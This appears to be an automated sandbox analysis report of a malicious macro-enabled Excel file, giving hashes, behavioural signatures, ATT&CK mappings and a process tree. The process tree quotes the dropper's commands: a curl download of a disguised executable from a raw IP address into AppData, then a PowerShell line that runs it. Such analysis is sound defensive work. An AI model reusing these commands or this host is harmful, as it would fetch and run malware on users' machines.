c22f5817947c2a1788f8d83d1eda81705a87b379be043c4e164521e437431050

General

Target

341043-627265-451614.xlsm
Size

128KB
MD5

a65ff428ba4c147740a7022a80d00337
SHA1

e767847f763a7eb62cb610899a4d324a33d295db
SHA256

c22f5817947c2a1788f8d83d1eda81705a87b379be043c4e164521e437431050
SHA512

7fe2df5ceba5009827374d8bfb1d93f05aa04be97f15f36b8da3e74eec168793c7c1f8d40f32c75811dd55898d0b0bcd1dfc5629ebb57266dfea70c9576b1058

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.execmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2040	3380	powershell.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1480	3380	cmd.exe	EXCEL.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3380 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

2040 powershell.exe
2040 powershell.exe
2040 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2040 powershell.exe
Suspicious use of FindShellTrayWindow 10 IoCs

Processes:

EXCEL.EXE

pid process

3380 EXCEL.EXE
3380 EXCEL.EXE
3380 EXCEL.EXE
3380 EXCEL.EXE
3380 EXCEL.EXE
3380 EXCEL.EXE
3380 EXCEL.EXE
3380 EXCEL.EXE
3380 EXCEL.EXE
3380 EXCEL.EXE

pid	process
2040	powershell.exe
2040	powershell.exe
2040	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2040	powershell.exe

Suspicious use of SetWindowsHookEx 17 IoCs

Processes:

EXCEL.EXE

pid	process
3380	EXCEL.EXE
3380	EXCEL.EXE
3380	EXCEL.EXE
3380	EXCEL.EXE
3380	EXCEL.EXE
3380	EXCEL.EXE
3380	EXCEL.EXE
3380	EXCEL.EXE
3380	EXCEL.EXE
3380	EXCEL.EXE
3380	EXCEL.EXE
3380	EXCEL.EXE
3380	EXCEL.EXE
3380	EXCEL.EXE
3380	EXCEL.EXE
3380	EXCEL.EXE
3380	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXE

description	pid	process	target process
PID 3380 wrote to memory of 2040	3380	EXCEL.EXE	powershell.exe
PID 3380 wrote to memory of 2040	3380	EXCEL.EXE	powershell.exe
PID 3380 wrote to memory of 1480	3380	EXCEL.EXE	cmd.exe
PID 3380 wrote to memory of 1480	3380	EXCEL.EXE	cmd.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\341043-627265-451614.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3380

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe start-sleep 10; $x=$env:AppData+'\AyBtH.exe';Invoke-Expression $x
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2040

C:\Windows\SYSTEM32\cmd.exe
cmd /c curl http://151.236.30.123/images/suntogether.png -o %appdata%\AyBtH.exe
2⤵
- Process spawned unexpected child process
PID:1480

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/1480-257-0x0000000000000000-mapping.dmp

Download
memory/2040-256-0x0000000000000000-mapping.dmp

Download
memory/2040-286-0x0000026A45C16000-0x0000026A45C18000-memory.dmp

Filesize
8KB

Download
memory/2040-267-0x0000026A5E2E0000-0x0000026A5E2E1000-memory.dmp

Filesize
4KB

Download
memory/2040-264-0x0000026A45FE0000-0x0000026A45FE1000-memory.dmp

Filesize
4KB

Download
memory/2040-263-0x0000026A45C13000-0x0000026A45C15000-memory.dmp

Filesize
8KB

Download
memory/2040-262-0x0000026A45C10000-0x0000026A45C12000-memory.dmp

Filesize
8KB

Download
memory/3380-118-0x00007FF949B80000-0x00007FF949B90000-memory.dmp

Filesize
64KB

Download
memory/3380-122-0x00000299B60B0000-0x00000299B7FA5000-memory.dmp

Filesize
31.0MB

Download
memory/3380-123-0x00007FF949B80000-0x00007FF949B90000-memory.dmp

Filesize
64KB

Download
memory/3380-121-0x00007FF96A500000-0x00007FF96B5EE000-memory.dmp

Filesize
16.9MB

Download
memory/3380-117-0x00007FF949B80000-0x00007FF949B90000-memory.dmp

Filesize
64KB

Download
memory/3380-114-0x00007FF6D51D0000-0x00007FF6D8786000-memory.dmp

Filesize
53.7MB

Download
memory/3380-116-0x00007FF949B80000-0x00007FF949B90000-memory.dmp

Filesize
64KB

Download
memory/3380-115-0x00007FF949B80000-0x00007FF949B90000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads